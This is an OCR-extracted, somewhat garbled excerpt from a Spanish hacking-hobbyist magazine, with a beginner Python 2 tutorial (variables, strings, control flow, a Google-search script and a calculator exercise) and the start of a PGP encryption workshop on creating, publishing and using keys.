Como Programar en Python
Como Programar en Python
EDITORIAL: C.I.F:
PERE MARTELL N 20, 2 - 1 43001 TARRAGONA (ESPAA)
P A S O
Director Editorial I. SENTIS E-mail contacto director@editotrans.com Ttulo de la publicacin Los Cuadernos de HACK X CRACK. Nombre Comercial de la publicacn PC PASO A PASO Web: www.hackxcrack.com Direccin: PERE MARTELL N 20, 2 - 1. 43001 TARRAGONA (ESPAA) IMPRIME: I.G. PRINTONE S.A. Tel 91 808 50 15 DISTRIBUCIN: SGEL, Avda. Valdeparra 29 (Pol. Ind.) 28018 ALCOBENDAS (MADRID) Tel 91 657 69 00 FAX 91 657 69 28 WEB: www.sgel.es
Quieres insertar publicidad en PC PASO A PASO? Tenemos la mejor relacin precio-difusin del mercado editorial en Espaa. Contacta con nosotros!!!
HORARIO DE ATENCIN:
Copyright Editotrans S.L. NUMERO 26 -- PRINTED IN SPAIN PERIOCIDAD MENSUAL Deposito legal: B.26805-2002 Cdigo EAN: 8414090202756
por Moleman (AKA Hctor Monlen) Bienvenidos a este taller de Python. En unos cuantos artculos espero ensearos a programar en este lenguaje que personalmente me apasiona, y espero que dentro de poco a vosotros tambin. No me enrollo ms y vamos al grano!!!
Si no lo tenis, podis descargaros las fuentes para compi lar (para Unix & Linux en general y para Mac OS X) de: http://www.python.org/ftp/python/2.4/Python-2.4.tgz Para sistemas Windows hay un setup aqu: http://www.python.org/ftp/python/2.4/python-2.4.msi Y aqu un instalador para Mac OS X (si no queris compi larlo): http://ftp.cwi.nl/jack/python/mac/MacPython-OSX-2.3-1.dmg (recomendado leerse antes la documentacin del instalador en http://homepages.cwi.nl/~jack/macpython/download.html )
Bien, el primer paso es descargarse el intrprete de Python si es que no lo tenis ya. Por si no lo sabis Python es un lenguaje interpretado, es decir, lo que se programa es un script que luego se le pasa al intrprete que lo ejecutar. Esto permite hacer rpidas modificaciones del programa al no tener que compilar cada vez, como ocurre por ejemplo con el lenguaje C. (Los que sepis algo de C notareis que la sintaxis se pare ce bastante. No es una coincidencia ) Los Linux-Users deberais tener el intrprete instalado por defecto. Podris comprobar si lo tenis simplemente ejecutando en una consola: Shadowland:~$ python Python 2.3.2 (#2, Oct 6 2003, 08:02:06) [GCC 3.3.2 20030908 (Debian prerelease)] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> El ">>>" es el prompt del intrprete esperando a que una orden sea introducida. Ms adelante veremos esto en ms detalle. Para salir simplemente pulsad Ctrl+D.
Existen en Python los siguientes operadores aritmticos (por orden de prioridad, de 1 a 4):
3/68
En Python, una variable se declara solamente cuando va a ser usada. No hay que declararlas al principio como en el tpico programa de C. As mismo, el tipo de dato que contendr la variable tam poco se declara y el intrprete lo toma dinmicamente segn el valor que se le pasa a la variable. La prioridad conjunta de todos ellos se define de mayor a menor, as: >>> a=5 >>> print a 5 >>> Como vemos, hemos asignado el valor entero 5 a la variable. Si hacemos: Hay que tener cuidado con las operaciones que aniden mu chos operadores de distintos tipos, ya que el orden de pre ferencia puede hacer que la operacin no salga como de biera. Para paliar el problema mientras cogis prctica, siempre podis usar los parntesis como separadores de operacin, verbi gratia: 2*3+(4-3)/((4-5)**3) Os pondr unos ejemplos de este tipo de operaciones: Shadowland:~$ python Python 2.3.4 (#2, Sep 24 2004, 08:39:09) [GCC 3.3.4 (Debian 1:3.3.4-12)] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> 2+3 5 >>> 4-2 2 >>> 5*2 10 >>> 2**3 8 >>> 4>5 False 4/68 >>> b=5.0 >>> print b 5.0 >>> Lo que estamos haciendo es asignar un valor flotante (de cimal) a la variable.(es importante notar que el decimal se representa con punto y no con coma) En ningn caso hemos declarado el tipo de dato que con tendr, aunque SI que hay que asignarle un valor antes de usar una variable o Python dar error. >>> print pruebaerror Traceback (most recent call last): File "<stdin>", line 1, in ? NameError: name 'pruebaerror' is not defined >>> Python es case sensitive por lo que diferencia entre maysculas y minsculas. Tambin hay que tener en cuen ta unas reglas para los nombres de las variables: 1. Slo se pueden usar dgitos, letras y el carcter de subrayado. El espacio no est permitido, as como ca racteres extraos.
1. 2. 3.
En Python existen los enteros y los flotantes, como ya he mos visto. As mismo se pueden usar los valores booleanos True y False como ya comentamos antes. Existe tambin el tipo de datos cadena. A diferencia del C, donde las cadenas son vectores de caracteres, en Python hasta un nico carcter se considera una cadena. (internamente son vectores, pero a nosotros nos da igual por el momento. Por algo el Python es de alto nivel ) Un ejemplo: >>> mi_cadena='hola mundo' >>> print mi_cadena hola mundo >>> Como podemos ver, las cadenas se delimitan con comillas, da igual si son simples o dobles, aunque si se quieren mostrar cadenas en el texto, es conveniente delimitar la cadena con dobles y mostrar las simples: >>> mi_cadena="'hola mundo'" >>> print mi_cadena 'hola mundo' >>> Las cadenas son muy sufridas (ya lo veremos ms adelan te) y permiten muchos tipos de operaciones con ellas. A modo de abreboca, dos operaciones bsicas con cadenas son la concatenacin (con el signo + ) >>> 'abcd'+'efgh' 'abcdefgh' >>> que sera como una suma entre cadenas, y la repeticin (con el signo * ) >>> 'a'*10 'aaaaaaaaaa' >>> que repite la cadena tantas veces como se le indique. Tambin se pueden hacer comparaciones entre cadenas. Python las analiza "alfabticamente" para compararlas: >>> 'hola'<'jajeji' True >>>
Bien, vamos a escribir nuestro primer programa en Python. Hasta ahora hemos estado trasteando con el intrprete, pero ya es hora de ponernos serios. Que no os asuste, ya que este tema lo explicaremos en base al programa, y a algunas modificaciones que le iremos introduciendo, al tiempo que veremos en la prctica muchos conceptos del tema anterior. Adems este mismo programa nos servir para explicar temas de los artculos siguientes, como tra tamiento de cadenas y listas, sockets,... Bueno, primero hay que explicar que hace el programa, y luego iremos desglosando lnea a lnea segn vayamos viendo como funciona. Este programa bsicamente se conecta a Google para rea lizar la bsqueda que le pongas y te pasa el resultado de bidamente formateado y slo mostrando el nmero de re sultados que se le indique. Complicado? Puede, pero slo debido a que an no sabis que hace cada cosa. Tranquilos y tiempo al tiempo. Adems es un programa que podis usar sin problemas y es un ejemplo tan bueno como cualquier otro, y desde lue go mucho mejor que el tpico "hola mundo" que se suele hacer, verdad?
Los programas se pueden ejecutar en cualquier sistema, tanto Windows, como Linux. En Windows bastar con hacer doble click sobre l (podis crear el programa con el notepad o con el entorno idle del intrprete, o con cualquier editor que no formatee el texto como por ejemplo el Word del Office. Debis guardar el programa como .py . Os recomiendo el notepad), con un inconveniente: no veris el resultado porque cuando el programa termine, la ventana de shell se cerrar.
5/68
Como podis ver, para ejecutarlo simplemente tenemos que teclear python y el nombre del programa. El programa nos pide que introduzcamos la bsqueda y luego el numero de resultados que queremos ver. Fcil, verdad? Y despus nos muestra los resultados de nuestra bsqueda. Enfermera! Guantes y bistur que vamos a proceder a la autopsia... paso por paso. Cdigo del programa: #!/usr/bin/env python import httplib URL= 'www.google.com' COD_BUSQUEDA= '/search?num=100&q=' 6/68
7/68
Python nos avisa que no puede usarse la concatenacin con enteros y cadenas. La forma correcta sera: >>> print 'probando otra vez',a,b*5 probando otra vez 12 hola que tal...hola que tal...hola que tal...hola que tal...hola que tal... >>>
Un ejemplo simple de formato: >>> a=134 >>> b=12.5 >>> c='hola caracola' >>> print 'El valor de a es %d, el de b %f y el de c %s' %(a,b,c) El valor de a es 134, el de b 12.500000 y el de c hola caracola >>> Aqu podemos ver los tres tipos ms comunes (hay otros) de indicadores de cadenas de formato: %d, %f y %s. El primero sirve para enteros, el segundo para flotantes y el tercero para cadenas. Tenemos tres variables, una con un entero, otra con un flotante y la tercera con una cadena. Se meten los carac teres de formato dentro de la cadena a imprimir y luego se hace uso del operador % para imprimir por orden los
8/68
if...elif...else
La estructura if permite introducir condiciones en la ejecucin del cdigo del programa. Su sintaxis es: if condicin: instruccin instruccin instruccin ... [continua el programa] Analicemos brevemente la teora. Como vemos la sintaxis es simple. Primero va el if con su condicin y finaliza con dos puntos (los dos puntos son importantes. Si no se po nen Python dar error). A continuacin vienen las instruc ciones que se ejecutaran SI la condicin es verdadera. En caso contrario no se ejecutaran. Y como sabemos que es lo que va dentro del if y lo que no? Fcil, es la otra "obligacin" del Python: las tabulaciones. Python reconoce las nuevas instrucciones mediante los in tros y adems usa las tabulaciones para diferenciar si es tas estn dentro o fuera de un bucle, una condicin, una funcin,....
Si intentamos dividir un numero entre cero da error. Bien, supongamos que tenemos este trozo de cdigo: a=int(raw_input('Dame un numero a dividir:')) b=int(raw_input('Dame el divisor:')) print a/b Sencillo, y si lo ejecutamos nos pide dos nmeros y divide el primero entre el segundo. Pero que pasara si el segun do numero fuera un cero. Que nos dara error como arriba. Como solucionarlo? Dicindole al python que si el segundo numero es un cero, que no ejecute la divisin, as: a=int(raw_input('Dame un numero a dividir:')) b=int(raw_input('Dame el divisor:')) if b!=0: print a/b As el programa slo ejecutara la divisin si el segundo nu mero es distinto (el operador != ) de cero. Fcil. Pasemos a la segunda parte del condicional: else El programa de divisin funciona pero no es muy eficaz y mucho menos elocuente. Si, evita la divisin entre cero pero no nos permite mostrar un mensaje diciendo que la divisin entre cero no esta permitida. Veamos por que:
9/68
10/68
while
Como podemos hacer que una parte de nuestro cdigo se ejecute continuamente hasta que nosotros queramos? Usando un bucle, y eso es lo que es el while. Su sintaxis es: while condicin: instruccin instruccin ...... [continua programa] Veamos un ejemplo en nuestro programa google.py: while n != 0 and i < MAX_RESULTADOS: try: a = aux[i].split(FIN,2)[0] if a != '': busqueda.append('http://'+a) n -= 1 except: pass i += 1 Vale es un poco complejo al principio pero no demasiado. Paso por paso. Cuando python llega al while evala la condicin y si es cierta ejecuta todo lo del bucle y vuelve al while para vol ver a evaluar y seguir haciendo hasta que la condicin sea falsa. En este caso la condicin es que la variable n sea distinta de cero (n!=0) Y (and) que la variable i sea m e n o r q u e l a va r i a b l e M A X _ R E S U LTA D O S (i<MAX_RESULTADOS). Mientras sea verdadero, el while se ejecutara una y otra vez. Un ejemplo ms simple: un contador. Si creamos este programa y lo ejecutamos:
NOTA
el i=i+1 se puede sustituir (y se hace de normal) por i+=1 (podis verlo en el trozo de google.py). Esta contraccin tambin funciona con multiplicaciones, divisiones, restas,.... siempre y cuando la variable origen y la destino sean la misma (en este caso si, porque la variable i se usa como parte de la suma y al mismo tiempo como lugar donde almacenar el nuevo resultado).
Por que metemos el incremento? Porque si no aumentamos el valor de i, al valer en un principio cero, el while siempre seria verdadero y tendramos un bucle infinito (es decir, la pantalla inundada de nmeros sin parar nunca ) As como esta el programa podemos ver como la variable i se va incrementando uno a uno gracias al print y ver que finaliza cuando llega a 9 (si recordis while i<10). Cuando i llega a valer 10 el while ya no es verdadero y finaliza, y como no hay nada ms despus, finaliza el programa. Sencillo? Espero que si, y que lo vayis comprendiendo to do, ya que al final del articulo os pondr un ejercicio y es pero que posteis en el foro todas vuestras dudas y si os animis, el resultado del ejercicio y que problemas os ha dado Bueno, bueno, que esto se acaba. Nos quedan dos estruc turas ms y un ultimo punto y finalizamos. Creo que no se ha hecho muy largo, no? Y sin ms prembulos, la estructura
11/68
Hace lo mismo pero podis ver que el programa ya no de clara i=0 antes ya que el for-in declara la i y le asigna si
articulo (tiempo al tiempo). Volvamos a nuestro programa de divisin (versin if-else sin elif). Tenamos:
12/68
Cuando debemos usar try-except? Cuando sepamos que python puede darnos un error y as ahorrarnos una condicin que puede ser difcil de escribir, adems de inne cesaria. En este caso, si sabemos que python da error cuando se divide por cero, porque usar un if para compro bar si el divisor es cero? Nosotros los intentamos igual con el try y si resulta que hemos introducido un cero como di visor y python se queja, entonces se ejecutara el except y en vez de fallar el programa, se ejecutara lo que haya den tro del except, en este caso el print avisndonos de que estamos dividiendo por cero. Copiado y archivado? Eso espero Y hemos llegado al ultimo punto de este Quick & Dirty Python Article n1
Python posee mltiples mdulos importables con funciones que nos facilitan la tarea de programar. Hemos visto algu nas que vienen por defecto como int(), str(), range(),... pero muchas otras tienen que ser importadas para ser usadas, como por ejemplo la funcin de raz cuadrada sqrt() Esta funcin esta presente en el modulo math que es una librera de funciones matemticas. Otras funciones que po see son por ejemplo: seno, coseno, tangente, etc... Hay tres formas de importar funciones en python: 1. from modulo import funcin 2. from modulo import * 3. import modulo La primera forma sirve para importar una funcin concreta de un modulo. Veamos un programa que hace raz cuadra da: from math import sqrt print sqrt(9)
13/68
ejercicio.py
#!/usr/bin/env python import math opcin=0 while opcin!=6: print 'Calculadora de prueba v1.0 (by Moleman)\n' print '1. Sumar' print '2. Restar' print '3. Multiplicar' print '4. Divisin entera' print '5. Raz cuadrada' print '6. Salir' opcin=int(raw_input('Escoge el numero de opcin: ')) if opcin==1: a=int(raw_input('\nPrimer numero: ')) b=int(raw_input('\nSegundo numero: ')) print '\nResultado:',a+b,'\n\n' elif opcin==2: a=int(raw_input('\nPrimer numero: ')) b=int(raw_input('\nSegundo numero: ')) print '\nResultado:',a-b,'\n\n' elif opcin==3: a=int(raw_input('\nPrimer numero: ')) b=int(raw_input('\nSegundo numero: ')) print '\nResultado:',a*b,'\n\n' elif opcin==4: a=int(raw_input('\nPrimer numero: ')) b=int(raw_input('\nSegundo numero: ')) print '\nResultado:',a/b,'\n\n' elif opcin==5: a=int(raw_input('\nNumero: ')) print '\nResultado:',math.sqrt(a),'\n\n' elif opcin==6: print '\nGracias por volar con aerolneas Moleman... estooo, por usar la Calculadora v1.0\n\n' else: print '\nOpcion incorrecta. Vuelve a probar...\n\n'
Bien, el ejercicio consiste en coger el programa que os voy a poner y modificarlo para evitar que falle de ninguna ma nera, ya sea por introducir datos invlidos o por cualquier otra razn. Y as adems practicareis todo lo visto. Mejoradlo todo lo que podis. El programa funciona perfec tamente pero se puede conseguir que falle muy fcilmen te. Para los ms observadores, si, lo reconozco. Es una calculadora! Pero bueno, tarde o temprano tenia que apa recer verdad? Adems slo es un ejercicio para practicar y si contis con el google.py creo que podrais disculpar me, no? Pues eso es todo. Espero que hayis disfrutado con el arti culo y que continuis. En la siguiente revista ms. PD: se me olvidaba. Los comentarios en el cdigo se po nen as #esto es un comentario con el smbolo almohadilla " # " delante. Saludos...
Agradecimientos a HpN, HxC y a mi mujer por soportarme continuamente (va por ti Marta)
14/68
Bienvenidos al Taller de Criptografa. Si habis seguido la revista de forma regular, recordaris sin duda artculos como el de envenenamiento de cach ARP de moebius, el de sniffers del nmero anterior y muchos otros que, de una u otra forma, nos han recordado lo precaria que es la seguridad de nuestros datos, especialmente en el mbito de redes locales: cualquiera con unos mnimos conocimientos tcnicos y un poco de paciencia puede leer nuestros correos como si tal cosa, robar contraseas... Por supuesto, todo esto puede evitarse con un diseo de red (tanto de poltica como de componentes fsicos y su diseo lgico) adecuado... pero siempre depende de otros (a no ser que seamos el administrador de esa red, claro) y hoy en da acce demos a muchos datos sensibles a travs de Internet y esas conexiones se realizan desde mu chos sitios, no solamente desde nuestra casa. Qu podemos hacer como simples usuarios desde nuestro terminal? Por supuesto, echar mano de la criptografa. Qu es lo que hace de la criptografa un mtodo de proteccin de nuestra informacin tan bue no? Aunque la respuesta a esta pregunta tan sencilla es muy compleja... pero podemos extraer una primera idea muy importante: la criptografa se sirve de la infraestructura lgica y fsica que los ordenadores nos brindan para proteger la informacin en s. Otros mtodos (IDS, Firewalls, diseos de red...) se basan en modificar de una u otra forma esa misma infraestruc tura, pero dejando la informacin inalterada. El principal problema de esta segunda opcin es que resulta tcnicamente ms costosa, y que una vez encontremos una debilidad en estos sis temas de proteccin, la informacin estar igual de expuesta que si no existieran. Al cifrar nues tros datos, estamos usando un mtodo de proteccin de la informacin en s, que es matemti camente muy complejo y poderoso, pero que de cara al usuario es transparente y sencillo de usar. En este Taller de Criptografa iremos viendo poco a poco cmo manejar este poderoso recurso que es la criptografa, y aprenderemos a incorporar sus funcionalidades a nuestras tareas coti dianas con el ordenador. La forma en que aprenderemos todo esto ser eminentemente prctica, donde no faltarn las explicaciones tcnicas, por supuesto, pero intentaremos que stas aparez can cuando sea necesario para la comprensin de nuestras prcticas... y por supuesto, paso a paso.
15/68
Un concepto muy importante que genera confusin y que conviene aclarar desde el principio es la diferencia entre codificacin y encriptacin o cifrado. El hecho de codificar una informacin supone transformar esa informacin a una representacin equivalente, de forma que el significado de la informacin en su representacin original y en su representacin transformada sea el mismo. El proceso in verso de la codificacin es la decodificacin y puede reali zarse de forma directa y transparente. Ambos procesos pueden ser descritos mediante algoritmos (que general mente suelen ser pblicos o conocidos) de forma que cual quier persona pueda transformar una informacin en sus distintas representaciones. Entendemos por algoritmo una descripcin precisa de una sucesin de instrucciones que permiten llevar a cabo un trabajo en un nmero finito de pasos. Cuando hablamos de cifrado, nos referimos igualmente a u n a t ra n s f o r m a c i n q u e t i e n e p o r f i n g e n e ra r u n a representacin equivalente de la informacin, pero con una gran diferencia: en el proceso o algoritmo de cifrado inter viene un elemento llamado clave (del que ms adelante hablaremos) y que resulta imprescindible para poder rea lizar el proceso de cifrado, descifrado o ambos. De esta forma, una informacin cifrada no puede ser reconstruida si no se conoce, adems del algoritmo, la clave (o claves) criptogrficas que protegen la informacin. Imaginemos que tenemos un texto escrito en castellano con todos sus caracteres en minscula. Si nosotros decidi mos, en un alarde de creatividad ( ), escribir de nuevo e s e t e x t o p e r o c o n t o d o s s u s c a ra c t e r e s e n l e t ra s maysculas, habramos realizado una codificacin del mis mo en maysculas. Cualquier persona que conozca el alfa beto, aunque fuera incapaz de entender lo que dice, sera capaz de decodificarla de nuevo a minsculas. Ahora imaginemos que ese mismo texto lo traducimos a algn otro idioma, por ejemplo a francs. En este caso la transformacin de la informacin la realizamos a travs de un diccionario castellano-francs, que actuara como clave, y obtenemos un texto cifrado en francs. Si alguien quisie ra recuperar la informacin original en castellano, necesi tara un diccionario francs-castellano para descifrar la informacin. Ya, ya s que si hablas francs y castellano no necesitas diccionario, se trata nicamente de un ejemplo para que entendamos de forma intuitiva la diferencia entre codificar y cifrar. Cuando hablamos de criptosistemas informticos, nos referi mos al texto original (el texto legible) como texto en claro. El texto una vez cifrado se denomina criptograma. El proceso para convertir texto en claro a criptograma es lo que conocemos como cifrado o encriptacin, y el proce so que convierte criptogramas en textos en claro lo llama mos descifrado o desencriptacin.
Echemos la vista atrs, concretamente al ao 1991 en Estados Unidos. El boom informtico estaba en pleno apogeo, los nuevos y potentes (por aquel entonces, claro) 80486DX de 32 bits y con cach de nivel 1 incorporada lle varon a los ordenadores personales una potencia hasta en tonces desconocida, y posibilitaron que cierto tipo de apli caciones que hasta entonces no haban llegado al mercado domstico lo hicieran. Uno de ellos la criptografa. Cuando los rumores sobre posibles leyes para prohibir la criptografa comenzaban circular, un programador llamado Philip Zimmermann program un software gratuito que mezclaba los mejores algoritmos de cada tipo (ms ade lante hablaremos sobre esto) y permita a cualquiera con un ordenador personal hacer uso de una criptografa muy poderosa, equiparable a la de cualquier gobierno. ste pro grama se llam PGP, acrnimo de Pretty Good Privacy, y hoy en da sigue siendo el referente en su campo. La historia de PGP es muy curiosa, y os animo a leer ms sobre ella... aunque ste no es el sitio. Estoy seguro que google os puede echar una mano. En esta primera parte del taller de criptografa vamos a va lernos de PGP bajo Windows (aunque tambin puede ser seguido desde Macintosh) para aprender a usar y com prender la criptografa. Ms adelante veremos otra implementacin del estndar OpenPGP que es casi tan fa mosa, tiene versiones para casi cualquier sistema operati vo y adems es software libre: GnuPG. OpenPGP es el estndar que surgi a partir de PGP, y que marca las pautas de compatibilidad que permiten a las dis tintas implementaciones ser completamente compatibles. Podis consultar la descripcin de este estndar en el RFC 2440 que podis encontrar en: ftp://ftp.rfc-editor.org/in-notes/rfc2440.txt Lamentablemente no he encontrado ninguna traduccin de este RFC al castellano.
Aunque histricamente desde casi sus inicios han existido dos versiones de PGP (la internacional, centralizada en el sitio http://www.pgpi.org/ y la estadounidense de la PGP Corporation http://www.pgp.com/), hoy en da prctica mente todo el mundo usa la versin PGP estndar. Aunque la PGP Corporation ha crecido muchsimo, siguen fieles a una de sus mximas desde sus inicios: ofrecer una versin gratuita de PGP para uso individual, educacional y en ge neral cualquier actividad sin nimo de lucro. En el momen to de escribir este artculo la ltima versin es la 8.1, que podemos descargar de este enlace: http://www.pgp.com/downloads/freeware/
16/68
Nos encontramos en la pantalla de creacin del passphrase (que es a password lo que frase a palabra). Debemos defi nir la contrasea que proteger las acciones que nuestra clave privada es capaz de realizar. Como bien sabemos, una cadena siempre se rompe por su eslabn ms dbil, por lo que una clave de 4096 bits que caiga en manos in apropiadas y con un passphrase predecible deja todo el criptosistema al descubierto. Mi recomendacin es que usis una contrasea SEGURA. Al menos de 8 10 caracteres de largo, con letras maysculas, minsculas, nmeros y si es posible smbolos. La ma es de 25 caracteres, y cuando te acostumbras no es tan incmodo. Al pulsar siguiente empieza el proceso de generacin de la clave propiamente dicho, tras el cual la clave es completa mente utilizable. El proceso de generacin de la clave tiene un componente aleatorio que viene dado por la entropa que introduce el usuario en el sistema: movimientos del ratn, uso de los perifricos de entrada/salida... esto es as porque los orde nadores NO pueden generar nmeros autnticamente aleatorios (nicamente pseudoaleatorios), lo que hara que una clave generada nicamente por el ordenador pudiera ser predecible.
Antes de meternos en faena, vamos a echar un vistazo a las opciones de PGP pulsando con el botn derecho en el icono PGPtray y seleccionando Options. En la pestaa General vemos en primer lugar las opcio nes estndar, donde si queremos podremos aadir una l nea de comentario a los mensajes o ficheros generados con PGP. En el apartado Single Sign-On tenemos la opcin de guardar en cach los passphrases del usuario, con el fin de evitar tener que estar teclendolos una y otra vez. Por defecto esta opcin est activada. Pues bien, re comiendo ENCARECIDAMENTE desactivar esta opcin, por evidentes motivos de seguridad. El apartado de File Wiping lo dejamos descansar... de momento, porque es MUY interesante y ms adelante hablaremos de l.
18/68
En primer lugar nos encontramos con el apartado Encryp tion, donde configuraremos las opciones del cifrado simtrico de PGP. Qu? Cmo? Pero no habamos quedado que PGP usaba claves de cifrado asimtricas? T me ests engaando! Po di!
Ahora que ya tenemos nuestra clave creada y que hemos podido personalizar las opciones de PGP... es el momento de profundizar en la clave. Lo primero que tenemos que hacer es acceder al adminis trador de claves de PGP, lo cual haremos pulsando con el botn derecho en el icono PGPtray y seleccionando la opcin PGPkeys. Al seleccionar y pulsar con el botn dere cho del ratn sobre nuestra clave, veremos el men con textual de la misma. S, s que son muchas cosas... pero de momento solamente pulsaremos en Key Properties para poder entrar en detalle.
20/68
21/68
Pulsad con el botn derecho sobre la clave y seleccionad la opcin Import to Local Keyring, momento a partir del cual esa clave pasar a formar parte de nuestro anillo de claves. Bien, ahora vamos a comprobar que vosotros y yo tenemos la misma clave, para lo cual nos valdremos del fingerprint de la misma: C75D C40A 11D7 AF88 9981 ED5B C86B A06A 517D 0F0E Si el fingerprint que podis ver en la clave que hay en vuestro anillo es este mismo (que lo ser), significa que la clave es la misma para ti y para m. Ahora vamos a realizar una se gunda bsqueda cambiando los criterios. Ahora usaremos User ID y contains. Introduciremos noticias hispasec (aprovecho para mandar un saludo a toda la gente de hispasec por su mag nfico trabajo) y realizaremos la bsqueda. El resultado en este
Vamos a practicar un poco todo lo visto hasta el momento... Lo primero que vamos a hacer es ir al men de opciones de PGP (ya sabis cmo) y al apartado Ser vers. Una vez ah, tendris dos servidores: ldap://keyserver.pgp.com y ldap://europe.keys.pgp.com:11370. Seleccionad el segundo de ellos y pulsad en el botn Set As Root que hay en el men de la derecha. As cambiaremos nuestro servidor de claves principal.
22/68
Las importaremos todas a nuestro anillo de claves. En el momento de escribir este artculo (an en el 2004) la bsqueda produce solamente cuatro resultados, con las cla ves de los aos 2001, 2002, 2003 y 2004. Cuando realicis estas prcticas aparecer una clave ms, la del 2005. Ahora podremos ver que nuestro anillo de claves est bas tante menos solitario de lo que estaba antes. Ahora, borrad todas las claves de noticias hispasec que no estn ya vigen tes. Para ello, seleccionad todas las claves manteniendo pul sada la tecla control y luego pulsad con el botn derecho y elegid la opcin Delete. Las teclas tambin pueden ser co piadas, cortadas o pegadas como cualquier otro tipo de ar chivo. Bien, tenemos ya nuestra clave creada y sabemos cmo po demos obtener nuevas claves de los servidores, pero cmo pueden otras personas obtener nuestra clave? Pues para eso, obviamente, nuestra clave debe estar en el servidor de cla ves. Para publicar una clave en el servidor de claves, sola mente hay que pulsar en el botn derecho sobre la clave y seleccionar Sent To y seleccionar a qu servidor enviar la misma. Si seleccionis Domain Server, se enviar al ser vidor que tengis configurado por defecto. Probad a publicar en el servidor europeo de claves vuestra nueva clave recin creada y despus probad a buscarla para poder estar seguros de que se ha publicado correctamente. Sera bueno que la buscarais por diversos criterios de bsqueda, para practicar un poco ms con el motor de bsqueda de PGP. Otra opcin importante es la de actualizar claves que ya te nemos en nuestro anillo de claves. Se puede hacer de dos formas: o bien buscando la clave mediante el motor de bsqueda de PGP, o bien usando la opcin de actualizacin de PGP. Para hacer uso de la opcin de actualizacin de claves de PGP pulsad sobre la clave con el botn derecho y seleccionad Update. Aparecer una ventana en la que podremos ver la clave y desarrollar el rbol de la misma para poder obser var el estado en el que se encuentra en el servidor. Si deci dimos que queremos incorporar los cambios existentes en la clave a nuestro anillo de claves local, debemos pulsar en Import y el software automticamente gestionar la importacin y actualizacin. Cmo puede cambiar una clave una vez subida a un servi dor? Pueden aadirse, eliminarse o revocarse subclaves, fo tografas, firmas... IMPORTANTE: Absolutamente todas las claves que se ex portan a un servidor de claves y, por tanto, toda clave pu blicada en un servidor pblico, solamente consta de parte pblica. Es imposible exportar un bloque privado a uno de donde debemos seleccionar el destino de la clave exportada. Es muy importante fijarse en la casilla Include Private Key(s) (marcada en la imagen), pues sta es la opcin que nos permite, al exportar una clave, incluir su parte privada y por tanto realizar una copia de seguridad de nuestra clave. sta opcin est disponible nicamente para claves con parte pblica y privada (obviamente) y est desmarcada por de fecto. El fichero generado ser un archivo con extensin .asc que contendr, en forma de armadura ASCII, la clave exportada (bien sea nicamente la parte pblica o ambas partes). Uhm... un concepto nuevo a introducir: armadura PGP.
PGP puede generar principalmente tres tipos de ficheros atendiendo a su finalidad: archivos cifrados (.pgp o .asc), archivos de firma (.sig o .asc) y archivos de claves (.asc). Atendiendo a su forma, los tipos de ficheros son dos: los ar chivos de armadura ASCII y los archivos MIME/PGP. Cul es la diferencia entre ellos? Las armaduras ASCII son fiche ros .asc de caracteres ASCII (como su propio nombre indica) que son perfectamente legibles -que no comprensibles- y pueden ser fcilmente tratados con un editor de texto plano, son cmodos para trabajar en web con ellos... los ficheros MIME/PGP, por contra, son caracteres que usan la codificacin MIME y que NO pueden ser ledos con un editor de texto plano (segn qu editor se use, no veremos nada o veremos smbolos extraos). Para los que no sepan qu es ASCII (American Standard Code for Information Interchange), se trata de un estndar de representacin numrica de caracteres. El ASCII estndar contiene 128 smbolos, y el extendido 256. Su uso ya no es muy habitual, pues ha sido progresivamente sustituido por UNICODE. Para conocer ms sobre la tabla ASCII: http://www.asciitable.com/
23/68
Bueno, por fin hemos llegado al punto que todos estaban esperando: vamos a cifrar y descifrar archivos usando PGP. Lo primero que necesitamos es un fichero que acte como texto en claro (como dijimos anteriormente, llamamos texto en claro en un criptosistema a cualquier elemento que no est cifrado... no obstante, cualquier fichero del ordenador est compuesto por ceros y unos, por lo que en realidad no es tan complicada la abstraccin de imagi narlo como un texto . Podemos seleccionar un fichero cualquiera, pero para que coincida con el ejemplo, crea remos un fichero llamado texto.txt. En su interior podis escribir lo que queris. Ahora pulsamos con el botn derecho sobre el fichero y seleccionamos el men PGP para despus seleccionar
24/68
Conventional Encryption: Al activar esta opcin, el fichero se cifra nicamente con una clave simtrica (de las que hablamos en las opciones de PGP) con la clave que nosotros introduzcamos. Para entender la diferen cia con el cifrado estndar de PGP hay que esperar un poquito a que lo veamos. Self Decrypting Archive: Genera un fichero con cifra do simtrico que no necesita de PGP para ser descifra do. Para entenderlo mejor, un SDA sera a PGP como un EXE autoextrable a WinZip. Tambin se pueden crear SDA's directamente desde el men PGP sobre el fichero con la opcin Create SDA. Bien, ya sabemos cmo cifrar archivos con PGP... pero queda lo ms interesante (al menos si eres una mente in quieta): saber cmo cifra PGP. Lo primero que debemos tener en cuenta es que el coste computacional (en potencia y, por tanto, en tiempo) de cifrar algo a una clave asimtrica (ms si hablamos de claves grandes, de 2048 bits o ms) es MUY grande com parado a, por ejemplo, el cifrado simtrico o la generacin de hashes. Pero las claves asimtricas son muy poderosas, podramos decir que son virtualmente irrompibles (romp erlas con las actuales tcnicas requerira ms tiempo de lo que lleva existiendo el Universo...). En el otro lado del cuadriltero tenemos el cifrado simtri co, que es muy rpido, pero tiene una pega importante:
se genera una clave simtrica aleatoria (nota para los puris tas: pseudoaleatoria) que llamaremos clave de sesin con la que se cifra el mensaje. Posteriormente se cifra la clave de sesin con la clave pblica de cada uno de los destina tarios del mensaje. El ltimo paso es destruir la clave de sesin y empaquetar todos los datos en una armadura ASCII (o bien un fichero MIME/PGP). Mediante este mecan ismo tan sencillo e ingenioso logramos un cifrado rpido dado que el mensaje (la parte de mayor tamao)
25/68
es mucho ms sencillo que cifrarlos. Podemos o bien se leccionar la opcin Decrypt & Verify (la verificacin co rresponde a la parte de firmas, que veremos a continuacin) del men contextual de PGP, o bien direc tamente hacer doble click sobre el fichero. Solamente pue de darse el caso especial del que el fichero haya sido ci frado con la opcin Secure Viewer, en cuyo caso saldr el dilogo de advertencia (que deberemos aceptar o can celar) y posteriormente, si aceptamos, el visor seguro de datos con el mensaje en cuestin. Cmo funciona el descifrado de datos en PGP? Una vez que sabemos cmo funciona el cifrado, el paso contrario es trivial. Cuando desciframos un fichero lo primero que ocurre es que mediante nuestra clave privada desciframos la parte que contiene la clave de sesin del mensaje y que fue cifrada a nuestra clave pblica (si adems de la nues tra fue cifrada a otras, ignoraremos los dems fragmentos que contienen la clave de sesin cifrada a esas otras claves pblicas), para a continuacin usar esa clave de sesin pa ra descifrar el mensaje original.
